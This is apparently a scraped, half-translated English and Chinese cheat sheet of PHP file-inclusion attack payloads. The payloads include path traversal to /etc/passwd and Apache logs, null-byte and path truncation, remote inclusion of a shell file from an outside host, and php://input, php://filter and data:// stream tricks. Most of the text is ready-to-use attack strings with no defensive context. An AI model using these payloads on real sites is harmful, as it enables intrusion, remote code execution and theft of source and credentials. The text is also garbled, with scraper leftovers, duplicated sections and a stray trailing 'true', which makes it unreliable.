The article briefly analyzes a vulnerability in inlcude when php files are included. I hope it will be of some use to everyone.

Basic file inclusion vulnerability:

代码如下

复制代码

* 包含同路径下的文件：
?file=.htaccess
* 路径遍历：
?file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)

Restricted local files include:

代码如下

复制代码

* 空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd........... …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限Windows, 更多细节参见 here)

Basic remote files include:

The code is as follows

Copy code

代码如下

复制代码

* 包含远程代码(Including Remote Code):

?file=[http|https|ftp]://websec.wordpress.com/shell.txt

(需要 allow_url_fopen=On 和 allow_url_include=On)

* 使用php输入流(Using PHP stream php://input):

?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)

* 使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)

* Including Remote Code:

代码如下	复制代码
?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed)

?file=[http|https|ftp]://websec.wordpress.com/shell.txt (requires allow_url_fopen=On and allow_url_include=On) * Using PHP stream php://input: ?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) * Using PHP stream php://filter:
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(requires allow_url_include=On)

* For cross-site scripting attacks (Using XSS):

Restricted remote file inclusion vulnerability

代码如下	复制代码
* ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On)

Static remote file inclusion vulnerability:

* Man In The Middle attack(Man In The Middle) (lame indeed, but often forgotten)

The code is as follows

代码如下	复制代码
* 中间人攻击(Man In The Middle) (lame indeed, but often forgotten)

Copy code

true
